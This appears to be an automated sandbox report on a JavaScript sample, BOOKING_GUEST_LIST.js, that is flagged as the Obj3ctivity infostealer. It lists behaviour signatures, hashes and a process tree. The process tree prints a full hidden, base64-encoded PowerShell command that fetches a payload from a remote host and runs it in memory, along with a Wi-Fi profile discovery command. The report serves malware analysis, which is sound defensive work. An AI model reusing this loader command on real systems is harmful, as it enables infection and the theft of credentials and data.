Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251231-en
  • resource tags

    arch:x64arch:x86image:win11-20251231-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    12/01/2026, 06:31

General

  • Target
    BOOKING_GUEST_LIST.js
  • Size 4.4MB
  • Sample260112-hacdmshs2f
  • SHA256 d37789af995529e2c3bbb9c4ed8fab17c457b30e75bff13765f3e88c4b4777fd
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Obj3ctivity Stage1 1 IoCs

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Obj3ctivity family
  • Obj3ctivity, PXRECVOWEIWOEI

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\BOOKING_GUEST_LIST.js
    1⤵
      PID:4992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABjAG8AcQB1AGUAbAB1AGMAaABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMAbwBxAHUAZQBsAHUAYwBoAGUALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAFUAcwBlAHIALQBBAGcAZQBuAHQAIgAsACAAIgBNAG8AegBpAGwAbABhAC8ANQAuADAAIgApADsAJABjAG8AcQB1AGUAbAB1AGMAaABlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAYwBvAHEAdQBlAGwAdQBjAGgAZQAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQQBjAGMAZQBwAHQALQBMAGEAbgBnAHUAYQBnAGUAIgAsACAAIgBlAG4ALQBVAFMALABlAG4AOwBxAD0AMAAuADkAIgApADsAJABHAHIAZQBnAG8AcgB5ACAAPQAgACcAIwB0AHQAcABzADoALwAvAHIAZQBzAC4AYwBsAG8AdQBkAGkAbgBhAHIAeQAuAGMAbwBtAC8AZABiAGoAdAB6AHEAcAA0AHEALwBpAG0AYQBnAGUALwB1AHAAbABvAGEAZAAvAHYAMQA3ADYANwA0ADUANQAwADQAMAAvAG8AcAB0AGkAbQBpAHoAZQBkAF8ATQBTAEkAXwBsAHAAcwBkADkAcAAuAGoAcABnACcALgBSAGUAcABsAGEAYwBlACgAJwAjACcALAAgACcAaAAnACkAOwAkAGgAYQBpAHIAcwBiAHIAZQBhAGQAdABoAHMAIAA9ACAAJABjAG8AcQB1AGUAbAB1AGMAaABlAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAEcAcgBlAGcAbwByAHkAKQA7ACQAYwBsAGEAbQBwAGQAbwB3AG4AcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaABhAGkAcgBzAGIAcgBlAGEAZAB0AGgAcwApADsAaQBmACAAKAAkAGMAbABhAG0AcABkAG8AdwBuAHMAIAAtAG0AYQB0AGMAaAAgACcAQgBhAHMAZQBTAHQAYQByAHQALQAoAC4AKgA/ACkALQBCAGEAcwBlAEUAbgBkACcAKQAgAHsAIAAgACQAagB1AGQAZwBlAG0AZQBuAHQAcwAgAD0AIAAkAG0AYQB0AGMAaABlAHMAWwAxAF0AOwAgACAAJABtAG8AbQBiAGwAZQBtAGUAbgB0ACAAPQAgAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGoAdQBkAGcAZQBtAGUAbgB0AHMAKQApADsAIAAgACQAYQByAGcAcwBCAGEAcwBlADYANAAgAD0AIAAnAEoAdwBBADkAQQBGAEUAQQBTAEEAQgBsAEEARABBAEEATgBRAEIAVABBAEcAUQBBAEMAZwBBAE4AQQBIAEkAQQBSAGcAQQB5AEEARwBJAEEAZABRAEIAVwBBAEQATQBBAFQAQQBBAHkAQQBGAFkAQQBSAHcAQgBhAEEASABVAEEAUwBRAEIAcQBBAEcATQBBAGQAUQBCAEIAQQBIAG8AQQBUAGcAQQB5AEEARwBNAEEAYQBnAEIAYQBBAEcAcwBBAFcAZwBCAHEAQQBGAG8AQQBhAFEAQgBLAEEASABvAEEAVABRAEEAMQBBAEYAVQBBAGIAUQBCAE8AQQBEAFUAQQBhAHcAQgBFAEEARQA0AEEAYgBRAEIAawBBAEUAUQBBAFQAZwBCAHIAQQBGAG8AQQBSAEEAQgBQAEEARABFAEEAVgBRAEIAVQBBAEUAMABBAE0AZwBCAEYAQQBEAEkAQQBUAFEAQgB0AEEARwBRAEEAZQBnAEIATgBBAEgAUQBBAFMAUQBCAFgAQQBHAFEAQQBkAHcAQQA1AEEASABrAEEAVABBAEEAMgBBAEUAMABBAFMAQQBCAGoAQQBEAEEAQQBVAGcAQgBJAEEARwBFAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBRAHcAQQA2AEEARgB3AEEAVgBRAEIAegBBAEcAVQBBAGMAZwBCAHoAQQBGAHcAQQBVAEEAQgAxAEEARwBJAEEAYgBBAEIAcABBAEcATQBBAFgAQQBCAEUAQQBHADgAQQBkAHcAQgB1AEEARwB3AEEAYgB3AEIAaABBAEcAUQBBAGMAdwBCAGMAQQBDAGMAQQBMAEEAQQBuAEEARQA0AEEAWQBRAEIAdABBAEcAVQBBAFgAdwBCAEcAQQBHAGsAQQBiAEEAQgBsAEEAQwBjAEEATABBAEEAbgBBAEUAMABBAGMAdwBCAGkAQQBIAFUAQQBhAFEAQgBzAEEARwBRAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBUAFEAQgB6AEEARwBJAEEAZABRAEIAcABBAEcAdwBBAFoAQQBBAG4AQQBDAHcAQQBKAHcAQQBuAEEAQwB3AEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBIAE0AQQBPAGcAQQB2AEEAQwA4AEEAWQB3AEIAawBBAEcANABBAEwAZwBCAGsAQQBHAGsAQQBjAHcAQgBqAEEARwA4AEEAYwBnAEIAawBBAEcARQBBAGMAQQBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEATAB3AEIAaABBAEgAUQBBAGQAQQBCAGgAQQBHAE0AQQBhAEEAQgB0AEEARwBVAEEAYgBnAEIAMABBAEgATQBBAEwAdwBBAHgAQQBEAEUAQQBPAEEAQQB4AEEARABNAEEATgB3AEEANABBAEQAawBBAE0AQQBBAHkAQQBEAEUAQQBNAFEAQQAyAEEARABBAEEATQBRAEEAMgBBAEQASQBBAE0AZwBBAHkAQQBDADgAQQBNAFEAQQAwAEEARABNAEEATwBBAEEAMgBBAEQAZwBBAE0AZwBBADAAQQBEAEkAQQBNAEEAQQAwAEEARABjAEEATgBBAEEANABBAEQARQBBAE0AQQBBADEAQQBEAEkAQQBNAFEAQQB2AEEASABNAEEAYQBBAEIAcABBAEcAMABBAEwAZwBCADIAQQBHAEkAQQBjAHcAQQAvAEEARwBVAEEAZQBBAEEAOQBBAEQAWQBBAE8AUQBBAHgAQQBEAGMAQQBZAHcAQQAwAEEARwBVAEEAWQBRAEEAbQBBAEcAawBBAGMAdwBBADkAQQBEAFkAQQBPAFEAQQB4AEEARABZAEEATgB3AEEAegBBAEQAWQBBAFkAUQBBAG0AQQBHAGcAQQBiAFEAQQA5AEEARABrAEEAWQBRAEIAaQBBAEQAWQBBAFoAZwBBAHgAQQBEAEkAQQBaAFEAQgBtAEEARABFAEEAWgBnAEEAMABBAEcAVQBBAE8AQQBBAHoAQQBEAE0AQQBOAHcAQQAwAEEARABZAEEATgB3AEIAbABBAEQASQBBAE8AQQBBAHcAQQBHAEkAQQBOAHcAQgBqAEEARwBFAEEAWQB3AEEANQBBAEQATQBBAFoAZwBBADEAQQBEAGMAQQBOAHcAQQB5AEEARABJAEEATQBRAEIAawBBAEQATQBBAFoAZwBCAG0AQQBEAEEAQQBPAEEAQQB4AEEARABrAEEAWgBRAEEAeQBBAEcAVQBBAFkAZwBBAHoAQQBEAFEAQQBOAFEAQQAwAEEARwBZAEEATQBnAEEAMgBBAEQATQBBAE0AUQBBAHoAQQBEAEkAQQBNAHcAQQAxAEEARABVAEEASgBnAEEAbgBBAEMAdwBBAEoAdwBCAEQAQQBEAG8AQQBYAEEAQgBWAEEASABNAEEAWgBRAEIAeQBBAEgATQBBAFgAQQBCAFEAQQBIAFUAQQBZAGcAQgBzAEEARwBrAEEAWQB3AEIAYwBBAEUAUQBBAGIAdwBCADMAQQBHADQAQQBiAEEAQgB2AEEARwBFAEEAWgBBAEIAegBBAEYAdwBBAEoAdwBBAHMAQQBDAGMAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEIAZgBBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBKAHcAQQBzAEEAQwBjAEEAYQBnAEIAegBBAEMAYwBBAEwAQQBBAG4AQQBEAEUAQQBKAHcAQQBzAEEAQwBjAEEASgB3AEEAcwBBAEMAYwBBAFYAQQBCAGgAQQBIAE0AQQBhAHcAQgBmAEEARQA0AEEAWQBRAEIAdABBAEcAVQBBAEoAdwBBAHMAQQBDAGMAQQBNAEEAQQBuAEEAQwB3AEEASgB3AEEAbgBBAEMAdwBBAEoAdwBBAG4AQQBDAHcAQQBKAHcAQQBuAEEAQQA9AD0AJwA7ACAAIAAkAGEAcgBnAHMAUwB0AHIAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQByAGcAcwBCAGEAcwBlADYANAApACkAOwAgACAAJABhAHIAZwBzACAAPQAgACQAYQByAGcAcwBTAHQAcgBpAG4AZwAgAC0AcwBwAGwAaQB0ACAAJwAsACcAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAFQAcgBpAG0AKAAnACcAJwAiACcAIAApACAAfQA7ACAAIABbAFMAbwBmAHQAdwBhAHIAZQAuAFAAcgBvAGcAcgBhAG0AXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAIgBNAGEAaQBuACIAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAGEAcgBnAHMAKQA7AH0A')) | Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
        2⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:4680
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:4848
          • C:\Windows\SysWOW64\chcp.com
            chcp 65001
            4⤵
            • System Location Discovery: System Language Discovery
            PID:5176
          • C:\Windows\SysWOW64\netsh.exe
            netsh wlan show profile
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:5108
          • C:\Windows\SysWOW64\findstr.exe
            findstr All
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1664
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:5080

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_0jidw3md.40f.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0jidw3md.40f.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/2328-1-0x0000022713200000-0x0000022713210000-memory.dmp

          memory/2328-9-0x0000022713200000-0x0000022713210000-memory.dmp

          memory/2328-8-0x0000022713210000-0x0000022713232000-memory.dmp

          memory/2328-0-0x0000022713200000-0x0000022713210000-memory.dmp

          memory/2328-10-0x000002272CE70000-0x000002272CEE0000-memory.dmp

          memory/4680-15-0x00000000057B0000-0x0000000005816000-memory.dmp

          memory/4680-14-0x0000000005630000-0x0000000005640000-memory.dmp

          memory/4680-11-0x0000000000400000-0x00000000004E6000-memory.dmp

          memory/4680-16-0x0000000006360000-0x0000000006372000-memory.dmp

          memory/4680-17-0x0000000006620000-0x00000000067E2000-memory.dmp

          memory/4680-34-0x0000000006FA0000-0x0000000007546000-memory.dmp

          memory/4680-40-0x0000000006120000-0x0000000006196000-memory.dmp

          memory/4680-37-0x0000000006AF0000-0x0000000006B82000-memory.dmp

          memory/4680-55-0x0000000005630000-0x0000000005640000-memory.dmp

          memory/4680-56-0x0000000007A80000-0x0000000007FAC000-memory.dmp